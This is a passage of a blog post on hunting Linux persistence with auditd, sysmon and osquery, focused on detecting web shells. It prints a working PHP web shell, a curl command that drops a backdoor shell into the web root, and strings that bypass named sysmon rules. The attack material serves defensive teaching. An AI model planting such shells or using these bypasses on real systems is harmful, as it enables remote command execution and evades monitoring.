<p>In this blog post, we will be focusing more on logging and monitoring, and simply use web shells as an initial example. The rest of the techniques  will discuss other techniques in succeeding posts.</p>

<p>The diagram above gives an overview of what will be discussed in this series. <em><a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf version]</a></em></p>

<p>Here is the outline for the series:</p>
<ul>
  <li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
    <ul>
      <li>1 - Server Software Component: Web Shell</li>
    </ul>
  </li>
  <li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
    <ul>
      <li>2 - Create Account: Local Account</li>
      <li>3 - Valid Accounts: Local Accounts</li>
      <li>4 - Account Manipulation: SSH Authorized Keys</li>
    </ul>
  </li>
  <li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
    <ul>
      <li>5 - Create or Modify System Process: Systemd Service</li>
      <li>6 - Scheduled Task/Job: Systemd Timers</li>
      <li>7 - Scheduled Task/Job: Cron</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
    <ul>
      <li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
      <li>9 - Boot or Logon Initialization Scripts: init.d</li>
      <li>10 - Boot or Logon Initialization Scripts: motd</li>
      <li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
    <ul>
      <li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
    </ul>
  </li>
  <li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
    <ul>
      <li>Modify Authentication Process: Pluggable Authentication Modules</li>
      <li>Compromise Client Software Binary</li>
      <li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
      <li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
    </ul>
  </li>
</ul>

<h3 id="introduction-to-persistence">Introduction to persistence</h3>

<blockquote>
  <p>Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access <a href="https://attack.mitre.org/tactics/TA0003/">[1]</a></p>
</blockquote>

<p>Attackers employ persistence techniques so that exploitation phases do not need to be repeated. Remember, exploitation is just the first step for the attacker; they still need to take additional steps to fulfill their primary objective.</p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*LRcrv44EIiVqZ35pnBxmZw.png" alt="" /></p>

<p>After successfully gaining access to the machine, they need to pivot through the network and find a way to access and exfiltrate the crown jewels. </p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*0wxC57JISeSG-smadvc1eQ.png" alt="" /></p>

<p>During these post exploitation activities, the attacker’s connection to the machine can be severed, and to regain access, the attacker might need to repeat the exploitation step. </p>

<p>Redoing the exploitation might be difficult depending on the attacker vector:</p>

<ol>
  <li><strong>Sending an email with a malicious attachment:</strong> The victim wouldn’t open the same maldoc twice. You’d have to send another email and hope the victim will fall for it again.</li>
  <li><strong>Using leaked credentials and keys:</strong> The passwords might be reset or the keys are revoked</li>
  <li><strong>Exploiting servers with critical CVEs:</strong> The server can be patched</li>
</ol>

<p><img src="https://cdn-images-1.medium.com/max/800/1*IrrpPyzrBA9E3EBQ5ecaGg.png" alt="" /></p>

<p>Because of how difficult the exploitation can be, an attacker would want to make the most out of their initial access. To do this, they install backdoor access that reliably maintains access to the compromised machine even after reboots. </p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*4qWkg11a6uCfMirnUnrxeQ.png" alt="" /></p>

<p>With persistence installed, the attacker no longer needs to rely on exploitation to regain access to the system. He might simply use the added account in the machine or wait for the reverse shell from an installed service.</p>

<h3 id="0-linux-logging-andauditing">0 Linux Logging and Auditing</h3>

<h4 id="01-file-integrity-monitoring">0.1 File Integrity Monitoring </h4>

<p>The configuration changes needed to setup persistence usually require the attacker to touch the machine’s disk such as creating or modifying a file. This gives us an opportunity to catch the adversaries if we are able to lookout for file creation or modification related to special files of directories. For example, if we are trying to detect installation of services, we might want look for newly added service files in <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code> and other related directories.</p>

<p>You can use the following:</p>
<ul>
  <li>Auditbeat’s File Integrity Monitoring: <a href="https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html">https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html</a></li>
  <li><a href="https://www.redhat.com/sysadmin/configure-linux-auditing-auditd">auditd</a></li>
  <li>Wazuh’s File Integrity Monitoring: <a href="https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html">https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html</a></li>
</ul>

<p><img src="https://cdn-images-1.medium.com/max/800/1*G9cEhmxGM0nJVRhGqxiuyw.png" alt="" /></p>

<p>For the blog posts, we will be using mainly auditd, and auditbeats jointly. For instructions how to setup auditd and auditbeats see <em>A02 in the appendix.</em></p>

<h4 id="02-auditd-andsysmon">0.2 Auditd and Sysmon</h4>

<h5 id="021-what-is-sysmon-and-auditd">0.2.1 What is sysmon and auditd?</h5>

<p>Two powerful tools to monitor the different processes in the OS are:</p>

<ul>
  <li>auditd: the defacto auditing and logging tool for Linux</li>
  <li><a href="https://github.com/Sysinternals/SysmonForLinux">sysmon</a>: previously a tool exclusively for windows, a Linux port has recently been released</li>
</ul>

<p>Each of these tools requires you to configure rules for it to generate meaningful logs and alerts. We will use the following for auditd and sysmon respectively:</p>

<ul>
  <li><a href="https://github.com/Neo23x0/auditd">https://github.com/Neo23x0/auditd</a></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/tree/main/linux">https://github.com/microsoft/MSTIC-Sysmon/tree/main/linux</a></li>
</ul>

<p>For instructions on how to install sysmon refer to <em>appendix A01.</em></p>

<h5 id="022-comparison-of-sysmon-and-auditd">0.2.2 Comparison of sysmon and auditd</h5>

<p>At the time of writing this blog post, sysmon for linux has only been released for about a month now. I have no experience deploying sysmon at scale. Support for sysmon for linux is still in development for agents such as Linux Elastic Agent <a href="https://github.com/elastic/integrations/issues/1930">see issue here</a></p>

<p>I’m using <code class="language-plaintext highlighter-rouge">sysmonforlinux/buster,now 1.0.0</code></p>

<p>While doing the research for this blogpost, my comments so far are:</p>
<ul>
  <li><strong>sysmon’s rule definitions are much more flexible and expressive than auditd’s</strong></li>
  <li>Just like other rules using string matching, rules depending on user input fields such as <code class="language-plaintext highlighter-rouge">CommandLine</code> can be bypassed.</li>
  <li><strong>File integrity monitoring is a weakness for SysmonForLinux 1.0.0.</strong> In my testing, sysmon only has the event FileCreate which is triggered only when creating or overwriting files. This means that file modification is not caught by Sysmon (such as appending to files).</li>
  <li>I’ve experienced some problems with the truncated rule title displayed in the logs.</li>
  <li>Auditd rules can filter up to the syscall level and sysmon filters based on high level predefined events such as <code class="language-plaintext highlighter-rouge">ProcessCreation</code>, and <code class="language-plaintext highlighter-rouge">FileCreate</code>. This means that if a particular activity that you are looking for is not mapped to a sysmon event, then you might have a hard time using sysmon to watch for it.</li>
</ul>

<p><strong>Overall, I’m very optimistic about adopting sysmon for linux in the future to look for interesting processes and connections but would still rely on other tools for file integrity monitoring such as auditd or auditbeats.</strong></p>

<p>In windows, having only <code class="language-plaintext highlighter-rouge">FileCreate</code> is okay since you have other events specific to configuration changes, such as  <code class="language-plaintext highlighter-rouge">RegistryEvent</code> for registry keys, but in Linux since all of the configurations are essentially files, then file integrity monitoring plays a much bigger role in hunting for changes in system configurations.</p>

<p>The good thing with sysmon, is that rules for network activities and process creation are much more expressive. It’s more intuitive than trying to use auditd’s <code class="language-plaintext highlighter-rouge">a0</code>, <code class="language-plaintext highlighter-rouge">a1</code>, … for match on command line arguments.</p>

<p>We will discuss some of the findings in the next blog posts but some examples of bypasses are:</p>
<ul>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/discovery/T1087.001_LocalAccount_Commands.xml">T1087.001_LocalAccount_Commands.xml</a> looks for commands that have <code class="language-plaintext highlighter-rouge">/etc/passwd</code> to detect account enumeration. We can use <code class="language-plaintext highlighter-rouge">cat /etc//passwd</code> to bypass this rule</li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/defense_evasion/T1070.006_Timestomp_Touch.xml">T1070.006_Timestomp_Touch.xml</a> looks for <code class="language-plaintext highlighter-rouge">-r</code> or <code class="language-plaintext highlighter-rouge">--reference</code> in <code class="language-plaintext highlighter-rouge">touch</code> commands to look for timestamp modification. We can use <code class="language-plaintext highlighter-rouge">touch a -\r b</code> to bypass this or even <code class="language-plaintext highlighter-rouge">touch a -\-re\ference=b</code></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml">T1053.003_Cron_Activity.xml</a> aims to monitor changes to crontab files. Using <code class="language-plaintext highlighter-rouge">echo "* *     * * *   root    touch /root/test" &gt;&gt; /etc/crontab</code> will bypass this because it does not create or overwrite a file, and in <code class="language-plaintext highlighter-rouge">Debian 10</code> using the standard <code class="language-plaintext highlighter-rouge">crontab -e</code> will not trigger this because the <code class="language-plaintext highlighter-rouge">TargetFilename</code> is <code class="language-plaintext highlighter-rouge">+/var/spool/cron/crontabs</code> and the extra <code class="language-plaintext highlighter-rouge">+</code> at the start causes the rule to fail.</li>
</ul>

<p>You can see the different architectures for auditd and sysmon here:</p>
<ul>
  <li><a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing">Redhat CHAPTER 7. SYSTEM AUDITING</a> [3]</li>
  <li><a href="https://linuxsecurity.com/features/lead-microsoft-engineer-kevin-sheldrake-brings-sysmon-to-linux">Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux</a> [2]</li>
</ul>

<p>We see from the diagram from <code class="language-plaintext highlighter-rouge">linuxsecurity.com</code> that Sysmon works on top of eBPF which is an interface for syscalls of the linux kernel. This serves as an abstraction when we define sysmon rules, but as a consequence, this flexibility gives attackers room to bypass some of the rules.</p>

<p><img src="/assets/posts/20211122/00_sysmon_linux.png" alt="Image from &quot;Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux&quot;" /> 
<em>Image from “Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux”[2]</em></p>

<p>For example, in sysmon, we can look for a FileCreate event with a specific <code class="language-plaintext highlighter-rouge">TargetFilename</code>. This is more flexible because you can define rules based on patterns or keywords and look for files that don’t exist yet. However, string matches such as <code class="language-plaintext highlighter-rouge">/etc/passwd</code> can fail if the target name is not exactly that string.</p>

<p>On the other hand, auditd watches for actions on the inodes of the files and directories. This means that there is no ambiguity on which specific files need to be monitored. You can even look for read access to specific files. However, because it watches based on inodes, the files have to exist when the auditd service is started. This means you cannot watch files based on certain patterns like <code class="language-plaintext highlighter-rouge">*/.ssh/authorized_keys</code></p>

<h4 id="03-osquery">0.3 osquery</h4>

<p>Osquery allows us to investigate our endpoints using SQL queries. This simplifies the task of investigating and collecting evidence.</p>

<p>Moreover, when paired with a management interface like <a href="https://github.com/fleetdm/fleet">fleetdm</a> allows you to take baselines of your environments and even hunt for adversaries.</p>

<p>An example from a future blog post is looking for accounts that have a password set. If you expect your engineers to always SSH via public key, then you should not see active passwords.</p>

<p>We can get this information using this query</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">password_status</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">last_change</span>
<span class="k">FROM</span> <span class="n">shadow</span> 
<span class="k">WHERE</span> <span class="n">password_status</span> <span class="o">=</span> <span class="s1">'active'</span><span class="p">;</span>
</code></pre></div></div>

<p>And get results for all your fleet something similar to this</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+-----------------+----------+-------------+
| password_status | username | last_change |
+-----------------+----------+-------------+
| active          | www-data | 18953       |
+-----------------+----------+-------------+
</code></pre></div></div>

<p>Now why does <code class="language-plaintext highlighter-rouge">www-data</code> have a password? Hmm…</p>

<p>Installation instructions can be found in the <a href="https://osquery.io/downloads/official/5.0.1">official docs</a></p>

<p>Once installed simply run <code class="language-plaintext highlighter-rouge">osqueryi</code> and run the SQL queries.</p>

<h3 id="1-server-software-component-webshell">1 Server Software Component: Web Shell</h3>

<h4 id="11-introduction-to-webshells">1.1 Introduction to web shells</h4>

<p><strong>MITRE</strong>: <a href="https://attack.mitre.org/techniques/T1505/003/">https://attack.mitre.org/techniques/T1505/003/</a></p>

<p>A web shell is a backdoor installed in a web server by an attacker. Once installed, it becomes the initial foothold of the attacker, and if it’s never detected, then it becomes an easy persistent backdoor.</p>

<p>In our example, to install a web shell we add a bad <code class="language-plaintext highlighter-rouge">.php</code> file inside<code class="language-plaintext highlighter-rouge">/var/www/html</code> Some reasons this can happen are:</p>

<ul>
  <li>the web application has a vulnerable upload API</li>
  <li>the web application has a critical RCE vulnerability</li>
  <li>the attacker has existing access that can modify the contents of the web root folder</li>
</ul>

<p>If the attacker can upload malicious files that run as php, then he can get remote access to the machine.</p>

<p>One famous example of this is the <a href="https://republicans-oversight.house.gov/wp-content/uploads/2018/12/Equifax-Report.pdf">2017 Equifax Data Breach</a>. You can read the report, but here’s my TLDR: </p>

<blockquote>
  <p>The web server was running Apache Struts containing a critical RCE vulnerability. Attackers used this RCE to drop web shells which they used to gain access to sensitive data and exfiltrate the data. Around 30 different web shells were used in the breach.</p>
</blockquote>

<p>See the following resources:</p>

<ul>
  <li><a href="https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload">https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload</a></li>
  <li><a href="https://portswigger.net/web-security/os-command-injection">https://portswigger.net/web-security/os-command-injection</a></li>
</ul>

<h4 id="12-installing-your-own-webshells">1.2 Installing your own web shells</h4>

<p><em>Note: If you want to try this out you can follow the setup instructions in the appendix A00.</em></p>

<p>Assuming we already have RCE, we add a file <code class="language-plaintext highlighter-rouge">phpinfo.php</code> that will contain our web shell.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /var/www/html/phpinfo.php
</code></pre></div></div>

<p>Choose any of the <a href="https://github.com/JohnTroony/php-webshells/tree/master/Collection">examples php web shells</a>. For example:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span>  
<span class="nt">&lt;body&gt;</span>  
<span class="nt">&lt;form</span> <span class="na">method=</span><span class="s">"GET"</span> <span class="na">name=</span><span class="s">"&lt;?php echo basename($_SERVER['PHP_SELF']); ?&gt;"</span><span class="nt">&gt;</span>  
<span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"TEXT"</span> <span class="na">name=</span><span class="s">"cmd"</span> <span class="na">id=</span><span class="s">"cmd"</span> <span class="na">size=</span><span class="s">"80"</span><span class="nt">&gt;</span>  
<span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"SUBMIT"</span> <span class="na">value=</span><span class="s">"Execute"</span><span class="nt">&gt;</span>  
<span class="nt">&lt;/form&gt;</span>  
<span class="nt">&lt;pre&gt;</span>  
<span class="cp">&lt;?php  
    if(isset($_GET['cmd']))  
    {  
        system($_GET['cmd']);  
    }  
?&gt;</span>  
<span class="nt">&lt;/pre&gt;</span>
</code></pre></div></div>

<p>Now anyone with access to <code class="language-plaintext highlighter-rouge">http://x.x.x.x/phpinfo.php</code> would be able to access the web shell and run arbitrary commands.</p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*IFtn1HJNUAwxFMR26-J-_g.png" alt="" /></p>

<p>What if you don’t have shell access? You might be able to install a web shell through an unrestricted upload. Upload your php backdoor as <code class="language-plaintext highlighter-rouge">image.png.php</code> and the backdoor might be accessible on <code class="language-plaintext highlighter-rouge">http://x.x.x.x/uploads/image.png.php</code>.</p>

<p>Another possible command that you can use is</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php <span class="nt">-o</span> /var/www/html/backdoor_shell.php
</code></pre></div></div>

<h4 id="13-detection-creation-or-modification-of-phpfiles">1.3 Detection: Creation or modification of php files</h4>

<p><strong>Using auditbeat’s file integrity monitoring</strong></p>

<p>For some web applications, we might be able to monitor the directories of our web app in auditbeat’s file integrity monitoring.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>  
  <span class="na">paths</span><span class="pi">:</span>  
  <span class="pi">-</span> <span class="s">/bin</span>  
  <span class="pi">-</span> <span class="s">/usr/bin</span>  
  <span class="pi">-</span> <span class="s">/sbin</span>  
  <span class="pi">-</span> <span class="s">/usr/sbin</span>  
  <span class="pi">-</span> <span class="s">/etc</span>  
  <span class="pi">-</span> <span class="s">/var/www/html</span>    <span class="c1"># &lt;--- Add  </span>
<span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">system</span>  
  <span class="na">datasets</span><span class="pi">:</span>  
    <span class="pi">-</span> <span class="s">package</span> <span class="c1"># Installed, updated, and removed packages</span>
</code></pre></div></div>

<p>When using _auditbeat’_s file integrity monitoring module, we see that looking at <code class="language-plaintext highlighter-rouge">event.module: file_integrity</code></p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*H8QHiqUQ2Mn1C8tbG4Wbyw.png" alt="" /></p>

<p>Our <code class="language-plaintext highlighter-rouge">vi</code> command “moved” the file. In this case, <code class="language-plaintext highlighter-rouge">moved</code> is the same as <code class="language-plaintext highlighter-rouge">updated</code> because of how <code class="language-plaintext highlighter-rouge">vi</code> works. Where it creates a temporary file <code class="language-plaintext highlighter-rouge">/var/www/html/phpinfo.php.swp</code>and if you want to save the file it replaces <code class="language-plaintext highlighter-rouge">/var/www/html/phpinfo.php</code> </p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*JQcidyk6Z0SSmx4TOR_5DQ.png" alt="" /></p>

<p>An example of a command that will result in a <code class="language-plaintext highlighter-rouge">created</code> log would be if we ran</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php <span class="nt">-o</span> /var/www/html/backdoor_shell.php
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*MhcgZ5nRksISWGl9fiapJw.png" alt="" /></p>

<p><strong>Using audit to monitor changes</strong></p>

<p>We can add the following rule to auditd </p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /var/www/html -p wa -k www_changes
</code></pre></div></div>

<p>And you can search for all write or updates to files in <code class="language-plaintext highlighter-rouge">/var/www/html</code> using the filter <code class="language-plaintext highlighter-rouge">tags: www_changes</code> or <code class="language-plaintext highlighter-rouge">key="www_changes"</code></p>

<p>The raw <em>auditd</em> logs looks like this</p>

<pre class="highlight"><code>type=SYSCALL msg=audit(1637597150.454:10650): arch=c000003e syscall=257 success=yes exit=4 a0=ffffff9c a1=556e6969fbc0 a2=241 a3=1b6 items=2 ppid=12962 pid=13086 <u><b>auid=1000 uid=0 gid=0 euid=0</b></u> suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=11 <u><b>comm="curl" exe="/usr/bin/curl"</b></u> subj==unconfined <u><b>key="www_changes"</b></u>, type=PATH msg=audit(1637597150.454:10650): item=0 <u><b>name="/var/www/html"</b></u> inode=526638 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597150.454:10650): item=1 <u><b>name="backdoor_shell.php"</b></u> inode=527243 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 <u><b>nametype=CREATE</b></u> cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597150.454:10650): <u><b>proctitle=6375726C0068747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F4A6F686E54726F6F6E792F7068702D7765627368656C6C732F6D61737465722F436F6C6C656374696F6E2F5048505F5368656C6C2E706870002D6F006261636B646F6F725F7368656C6C2E706870</b></u>
</code></pre>

<p>This allows us to note:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">euid=0</code> effective UID of the action</li>
  <li><code class="language-plaintext highlighter-rouge">exe="/usr/bin/curl”</code> the command that was run</li>
  <li><code class="language-plaintext highlighter-rouge">name="/var/www/html" ... name="backdoor_shell.php"</code> the output file</li>
  <li><code class="language-plaintext highlighter-rouge">key="www_changes"</code> the key of the auditd alert that was fired</li>
  <li><code class="language-plaintext highlighter-rouge">proctitle=63757...</code> is the hex encoded title of the process which is our original curl command </li>
</ul>

<p><strong>Notes on file integrity monitoring for detecting web shells</strong></p>

<p>There are other ways to check. For example, if there is version control (like git), you can compare the current state with a known good state and investigate the differences. </p>

<p>However, if there are folders where we expect specific files to be written and modified often, such as upload directories, then file integrity monitoring might not be fully effective. We might have to fine-tune this alert and try to exclude these upload directories to reduce noise, but how would you detect web shells uploaded within the upload directory! </p>

<p>We need to look for more effective means of detecting web shells.</p>

<h4 id="14-detection-looking-for-command-execution-for-www-data-usingauditd">1.4 Detection: Looking for command execution for www-data using auditd</h4>

<p>When we run webservers such as <code class="language-plaintext highlighter-rouge">nginx</code> the service will run under the user <code class="language-plaintext highlighter-rouge">www-data</code> . On regular operations, we should not expect to see that user running commands such as <code class="language-plaintext highlighter-rouge">whoami</code> or <code class="language-plaintext highlighter-rouge">ls</code> </p>

<p>However, if there was a web shell, these are some of the commands we are most likely going to see. Therefore, we should try to use <code class="language-plaintext highlighter-rouge">auditd</code> to detect these.</p>

<p>Here is an auditd rule that will look for <code class="language-plaintext highlighter-rouge">execve</code> syscalls by <code class="language-plaintext highlighter-rouge">www-data</code> (euid=33) and we tag this as <code class="language-plaintext highlighter-rouge">detect_execve_www</code> </p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-a always,exit -F arch=b64 -F euid=33 -S execve -k detect_execve_www  
-a always,exit -F arch=b32 -F euid=33 -S execve -k detect_execve_www
</code></pre></div></div>

<p>We run the following commands on our webshell</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whoami  
id  
pwd  
ls -alh
</code></pre></div></div>

<p>We get the following logs from <code class="language-plaintext highlighter-rouge">auditd</code> as parsed by auditbeats. </p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*7RpLm9mtUADm1GoFGf8UNA.png" alt="" /></p>

<p>Here is an example of a raw auditd log for <code class="language-plaintext highlighter-rouge">whoami</code> </p>

<pre class="highlight"><code>type=SYSCALL msg=audit(1637597946.536:10913): arch=c000003e syscall=59 success=yes exit=0 a0=7fb62eb89519 a1=7ffd0906fa70 a2=555f6f1d7f50 a3=1 items=2 ppid=7182 pid=13281 auid=4294967295 <u><b>uid=33 gid=33 euid=33</b></u> suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 <u><b>comm="sh" exe="/usr/bin/dash"</b></u> subj==unconfined <u><b>key="detect_execve_www"</b></u>, type=EXECVE msg=audit(1637597946.536:10913):  <u><b>argc=3 a0="sh" a1="-c" a2="whoami"</b></u>, type=PATH msg=audit(1637597946.536:10913): item=0 name="/bin/sh" inode=709 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597946.536:10913): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=1449 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597946.536:10913): proctitle=7368002D630077686F616D69Appendix
</code></pre>

<p>This allows us to note:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">euid=33, uid=33</code> which is <code class="language-plaintext highlighter-rouge">www-data</code> </li>
  <li><code class="language-plaintext highlighter-rouge">comm="sh" exe="/usr/bin/dash”</code> the shell </li>
  <li><code class="language-plaintext highlighter-rouge">argsc=3 a0="sh" a1="-c" a2="whoami"</code> the commands run on the shell</li>
  <li><code class="language-plaintext highlighter-rouge">key="detect_execve_www"</code> the key of the auditd alert that was fired</li>
</ul>

<p><strong>Note regarding detect_execve_www</strong></p>

<p>Let’s say you decide to use the default rules found in <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">https://github.com/Neo23x0/auditd/blob/master/audit.rules</a></p>

<p>If you try to use ready-made detection rules such as those that come with <code class="language-plaintext highlighter-rouge">sigma</code> then you might try to use <a href="https://github.com/SigmaHQ/sigma/blob/master/rules/linux/auditd/lnx_auditd_web_rce.yml">lnx_auditd_web_rce.yml</a>. If you use this query using the rules from <em>Neo23x0</em> then <strong>you will fail to detect any web shells.</strong></p>

<p>This is because the detection rule is </p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">detection</span><span class="pi">:</span>  
    <span class="na">selection</span><span class="pi">:</span>  
        <span class="na">type</span><span class="pi">:</span> <span class="s1">'</span><span class="s">SYSCALL'</span>  
        <span class="na">syscall</span><span class="pi">:</span> <span class="s1">'</span><span class="s">execve'</span>  
        <span class="na">key</span><span class="pi">:</span> <span class="s1">'</span><span class="s">detect_execve_www'</span>  
    <span class="na">condition</span><span class="pi">:</span> <span class="s">selection</span>
</code></pre></div></div>
<p>Notice that this filters for the key <code class="language-plaintext highlighter-rouge">detect_execve_www</code> but this exact key is not defined anywhere in Neo23x0’s <code class="language-plaintext highlighter-rouge">audit.rules</code> ! This is why you should always test your configurations and see if it detects the known bad.</p>

<p>In the Neo23x0’s rules, the closest thing you might get are commented out by default</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>## Suspicious shells  
#-w /bin/ash -p x -k susp_shell  
#-w /bin/bash -p x -k susp_shell  
#-w /bin/csh -p x -k susp_shell  
#-w /bin/dash -p x -k susp_shell  
#-w /bin/busybox -p x -k susp_shell  
#-w /bin/ksh -p x -k susp_shell  
#-w /bin/fish -p x -k susp_shell  
#-w /bin/tcsh -p x -k susp_shell  
#-w /bin/tclsh -p x -k susp_shell  
#-w /bin/zsh -p x -k susp_shell
</code></pre></div></div>

<p>In this case, our web shell used <code class="language-plaintext highlighter-rouge">/bin/dash</code> because it is the default shell used by <code class="language-plaintext highlighter-rouge">/bin/sh</code>in the current VM I tested this on. So the relevant rule would be</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /bin/dash -p x -k susp_shell
</code></pre></div></div>

<p>But this relies on the usage of <code class="language-plaintext highlighter-rouge">/bin/dash</code> buit if the web shell is able to use other shells, then this specific alert will fail. Test your auditd rules on specific scenarios to ensure that it works as expected.</p>

<p>For more information on how to write rules for auditd see:</p>

<ul>
  <li><a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-defining_audit_rules_and_controls">https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-defining_audit_rules_and_controls</a></li>
  <li><a href="https://www.redhat.com/sysadmin/configure-linux-auditing-auditd">https://www.redhat.com/sysadmin/configure-linux-auditing-auditd</a></li>
</ul>

<h4 id="15-detection-looking-for-command-execution-for-www-data-usingsysmon">1.5 Detection: Looking for command execution for www-data using sysmon</h4>

<p><a href="https://github.com/microsoft/MSTIC-Sysmon">MSTIC-Sysmon</a> has two rules for this found individually:</p>

<ul>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1505.003_WebShell_SuspSubProcesses.xml">T1505.003</a></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/75e131c07a3dc96ccddbeffa8c1d91e0759d4b25/linux/configs/attack-based/execution/T1059.004_UnixShell_CommonShells.xml">T1059.004</a></li>
</ul>

<p>Where we can see:</p>

<ul>
  <li>Process creation using /bin/bash, /bin/dash, or/bin/sh</li>
  <li>Process creation with the parent process dash or nginx or … containing and the current command is one of <code class="language-plaintext highlighter-rouge">whoami</code> , <code class="language-plaintext highlighter-rouge">ifconfig</code> , <code class="language-plaintext highlighter-rouge">/usr/bin/ip</code> , etc.</li>
</ul>

<p>If we run <code class="language-plaintext highlighter-rouge">whoami</code> in the setup we have, the first rule that will be triggered would <strong><em>T1059.004,TechniqueName=Command and Scripting Interpreter: Unix Shell</em></strong> because of the order of the rules.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Event&gt;</span>
  <span class="nt">&lt;System&gt;</span>
    <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventID&gt;</span>1<span class="nt">&lt;/EventID&gt;</span>
    <span class="nt">&lt;Version&gt;</span>5<span class="nt">&lt;/Version&gt;</span>
